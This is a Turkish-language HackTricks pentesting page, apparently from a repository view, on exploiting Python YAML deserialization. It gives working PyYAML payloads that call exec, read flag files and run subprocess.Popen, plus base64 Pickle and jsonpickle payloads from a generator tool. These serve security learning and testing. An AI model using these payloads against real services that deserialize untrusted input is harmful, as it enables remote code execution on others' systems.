hacktricks/pentesting-web/deserialization/python-yaml-deserialization.md
2024-02-10 18:14:16 +00:00

7.8 KiB
Raw Blame History

AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

Yaml Deserialization

Yaml python kütüphaneleri sadece ham verileri değil, aynı zamanda python nesnelerini de serileştirebilir:

print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1

tuple'ın ham bir veri türü olmadığını ve bu nedenle serileştirildiğini kontrol edin. Ve aynı şey range ile de oldu (builtins'ten alındı).

safe_load() veya safe_load_all(), SafeLoader'ı kullanır ve sınıf nesnesi deserializasyonunu desteklemez. Sınıf nesnesi deserializasyonu örneği:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object

Önceki kod, seri hale getirilmiş python sınıfını yüklemek için unsafe_load kullanıyordu. Bunun sebebi, sürüm >= 5.1 olduğunda, load() veya Loader=SafeLoader belirtilmeyen herhangi bir seri hale getirilmiş python sınıfını veya sınıf özelliğini deserialize etmeye izin vermemesidir.

Temel Saldırı

Bir sleep işlemini nasıl yürüteceğinize dair bir örnek:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))

Yükleyici Olmadan Savunmasız .load("<içerik>")

Eski sürümlerinde pyyaml, bir şey yüklerken Yükleyiciyi belirtmediyseniz deserializasyon saldırılarına karşı savunmasızdı: yaml.load(data)

Bu zafiyetin açıklamasını burada bulabilirsiniz. Sayfadaki önerilen saldırı şudur:

!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec

Veya @ishaack tarafından sağlanan bu tek satırlık kodu kullanabilirsiniz:

!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}

Not: Son sürümlerde artık .load() çağıramazsınız ve Loader olmadan kullanamazsınız ve FullLoader artık bu saldırıya karşı savunmasız değildir.

Uzaktan Kod Çalıştırma (RCE)

Özel yükler, PyYAML veya ruamel.yaml gibi Python YAML modülleri kullanılarak oluşturulabilir. Bu yükler, güvenilmeyen girdileri doğru bir şekilde temizlemeden deserialize eden sistemlerdeki güvenlik açıklarını sömürebilir.

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))

Payload Oluşturma Aracı

https://github.com/j0lt-github/python-deserialization-attack-payload-generator adresinde bulunan araç, Pickle, PyYAML, jsonpickle ve ruamel.yaml'ı istismar etmek için python deserialization payloadları oluşturmak için kullanılabilir.

python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt

Referanslar

AWS hackleme konusunda sıfırdan kahramana dönüşmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!

HackTricks'i desteklemenin diğer yolları: